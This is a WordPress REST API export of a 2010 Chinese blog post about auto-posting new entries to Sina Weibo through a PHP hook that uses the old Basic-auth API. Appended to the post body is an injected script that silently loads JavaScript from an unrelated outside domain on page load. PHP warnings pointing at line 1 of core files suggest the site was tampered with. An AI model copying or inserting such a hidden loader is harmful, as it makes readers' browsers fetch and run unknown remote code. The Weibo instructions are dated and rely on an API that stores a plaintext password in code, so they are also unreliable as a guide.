<br />
<b>Warning</b>:  Undefined array key "aHxDTi" in <b>/www/wwwroot/hesiwei.cn/wp-includes/rewrite.php</b> on line <b>1</b><br />
<br />
<b>Warning</b>:  Undefined array key "wOZyTK" in <b>/www/wwwroot/hesiwei.cn/wp-includes/class-wp-block-type-registry.php</b> on line <b>1</b><br />
{"id":580,"date":"2010-07-28T22:31:32","date_gmt":"2010-07-28T14:31:32","guid":{"rendered":"http:\/\/www.hesiway.info\/synchronization-wordpress-blog-log-to-sina-microblogging.html"},"modified":"2026-04-29T15:46:32","modified_gmt":"2026-04-29T07:46:32","slug":"synchronization-wordpress-blog-log-to-sina-microblogging","status":"publish","type":"post","link":"https:\/\/hesiwei.cn\/?p=580","title":{"rendered":"\u540c\u6b65 WordPress \u535a\u5ba2\u65e5\u5fd7\u5230\u65b0\u6d6a\u5fae\u535a"},"content":{"rendered":"<p>\u5f88\u65e9\u5c31\u542c\u8bf4\u65b0\u6d6a\u5f00\u653e\u4e86\u81ea\u5df1\u7684\u5fae\u535aAPI\uff0c\u800c\u4e14\u662f\u5b8c\u5168\u5f00\u653e\u7684\uff0c\u5c31\u50cftwitter\u4e00\u822c\u3002\u65b0\u6d6a\u5fae\u535a API\uff0c\u8986\u76d6\u4e86\u65b0\u6d6a\u5fae\u535a\u7684\u5168\u90e8\u529f\u80fd\uff0c\u53ef\u4ee5\u901a\u8fc7 API \u53d1\u5fae\u535a\uff0c\u4f20\u7167\u7247\uff0c\u52a0\u5173\u6ce8\uff0c\u751a\u81f3\u641c\u7d22\u7b49\u5168\u90e8\u529f\u80fd\uff0c\u8fd9\u7b49\u4e8e\u4e0d\u7528\u4e0a\u65b0\u6d6a\u5fae\u535a\u5c31\u53ef\u4ee5\u505a\u4efb\u4f55\u4e8b\u3002\u867d\u7136\u81ea\u5df1\u4e0d\u73a9\u65b0\u6d6a\u5fae\u535a\uff0c\u76ee\u524d<a href=\"http:\/\/t.sina.com.cn\/hesiway\">@hesiway<\/a>\u4ec5\u6709\u4e00\u6761\u4fe1\u606f\uff0c\u4f46\u5e38\u5e74\u9a7b\u624e\u5728\u65b0\u6d6a\u5fae\u535a\u4e0a\u7684\u670b\u53cb\u540c\u6b65 WordPress \u535a\u5ba2\u65e5\u5fd7\u5230\u65b0\u6d6a\u5fae\u535a\u6765\u63a8\u5e7f\u81ea\u5df1\u7684\u535a\u5ba2\u5374\u4e00\u79cd\u5f88\u597d\u7684\u65b9\u5f0f\u3002API\u4e00\u5f00\uff0c\u7c7b\u4f3c\u63d2\u4ef6\u5c31\u8702\u62e5\u800c\u81f3\u4e86\u3002\u5176\u4e2d\u6211\u770b\u5230<a href=\"http:\/\/fairyfish.net\/\">\u6211\u7231\u6c34\u716e\u9c7c<\/a>\u5f00\u53d1\u7684\u63d2\u4ef6\u5f88\u6709\u542f\u53d1\uff0c\u5e76\u4e14\u7ed9\u51fa\u4e86\u5f00\u53d1\u601d\u8def:<\/p>\n<p>\u9996\u5148\u662f\u521b\u5efa\u66f4\u65b0\u72b6\u6001\u5230\u65b0\u6d6a\u5fae\u535a\u7684\u51fd\u6570\uff0c\u8fd9\u91cc\u7528\u5230\u7684\u662fWordPress \u81ea\u5e26\u7684<code>WP_Http<\/code> \u7c7b\u3002<\/p>\n<pre lang=\"php\">\nfunction update_sina_t($status){\n    $username = \"\u4f60\u7684\u65b0\u6d6a\u5fae\u535a\u7684\u5e10\u53f7\";\n    $password = \"\u4f60\u7684\u65b0\u6d6a\u5fae\u535a\u7684\u5bc6\u7801\";\n    $api_url = 'http:\/\/api.t.sina.com.cn\/statuses\/update.json';\n    $body = array( 'status' => $status,'source'=>'3279848611');\n    $headers = array( 'Authorization' => 'Basic '.base64_encode(\"$username:$password\") );\n    $request = new WP_Http;\n    $result = $request->request( $api_url , array( 'method' => 'POST', 'body' => $body, 'headers' => $headers ) );\n}\n<\/pre>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0 \u7136\u540e WordPress \u65e5\u5fd7\u53d1\u5e03\u4e4b\u540e\u7684 hook \u662f<code>publish_post<\/code>\uff0c\u5728\u8fd9\u4e2aaction \u6267\u884c\u7684\u65f6\u5019\u6267\u884c\u4e0a\u9762\u7684\u51fd\u6570\uff0c\u4ece\u800c\u540c\u6b65 WordPress \u535a\u5ba2\u65e5\u5fd7\u5230\u65b0\u6d6a\u5fae\u535a,\u4f46\u662f\u8fd9\u6837\u4efb\u4f55\u4e00\u6b21\u5728 WordPress \u540e\u53f0\u70b9\u51fb\u66f4\u65b0\u65e5\u5fd7\u90fd\u4f1a\u89e6\u53d1\u8fd9\u4e2a action\uff0c\u5c31\u8981\u7528\u81ea\u5b9a\u4e49\u5b57\u6bb5\u8bb0\u5f55\u662f\u5426\u5df2\u7ecf\u628a\u65e5\u5fd7\u540c\u6b65\u5230\u4e86\u65b0\u6d6a\u5fae\u535a\uff1a<\/p>\n<pre lang=\"php\">add_action('publish_post', 'publish_post_2_sina_t', 0);\nfunction publish_post_2_sina_t($post_ID){\n    $sina_t = get_post_meta($post_ID, 'sina_t', true);\n    if($sina_t) return;\n    $status = $_POST['post_title'].' '.get_permalink($post_ID);\n    update_sina_t($status);\n    add_post_meta($post_ID, 'sina_t', 'true', true);\n}<\/pre>\n<p>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u590d\u5236\u4ee5\u4e0a\u4e24\u5904\u4ee3\u7801\u5230\u4e3b\u9898\u7684 <code>functions.php<\/code> \u6587\u4ef6\u5c31\u53ef\u4ee5\u4e86\u3002\u6211\u6d4b\u8bd5\u4e86\u4e0b\uff0c\u53d1\u73b0\u8fd9\u6837\u6bcf\u6b21\u66f4\u65b0\u5b8c\u535a\u5ba2\u65e5\u5fd7\u540e\u5c31\u4f1a\u53d1\u4e00\u6761\u672c\u6587\u6807\u9898\u548c\u94fe\u63a5\u5230\u65b0\u6d6a\u5fae\u535a\u3002\u8fd9\u4e5f\u5f15\u8d77\u4e86\u6211\u5bf9\u65b0\u6d6a\u5fae\u535aAPI\u7684\u5174\u8da3\uff0c\u67e5\u770b\u4e86\u5b83\u7684API\u6587\u6863\u548c\u5f00\u53d1\u6307\u5357\uff0c\u5927\u81f4\u4e86\u89e3\u4e86\u4e00\u756a\uff0c\u6536\u83b7\u4e0d\u5c11\u3002<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5f88\u65e9\u5c31\u542c\u8bf4\u65b0\u6d6a\u5f00\u653e\u4e86\u81ea\u5df1\u7684\u5fae\u535aAPI\uff0c\u800c\u4e14\u662f\u5b8c\u5168\u5f00\u653e\u7684\uff0c\u5c31\u50cftwitter\u4e00\u822c\u3002\u65b0\u6d6a\u5fae\u535a API\uff0c\u8986\u76d6\u4e86\u65b0\u6d6a\u5fae [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18,9],"tags":[],"class_list":["post-580","post","type-post","status-publish","format-standard","hentry","category-plugin","category-sitehistory"],"_links":{"self":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/580","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=580"}],"version-history":[{"count":1,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/580\/revisions"}],"predecessor-version":[{"id":2016,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=\/wp\/v2\/posts\/580\/revisions\/2016"}],"wp:attachment":[{"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=580"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=580"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hesiwei.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=580"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}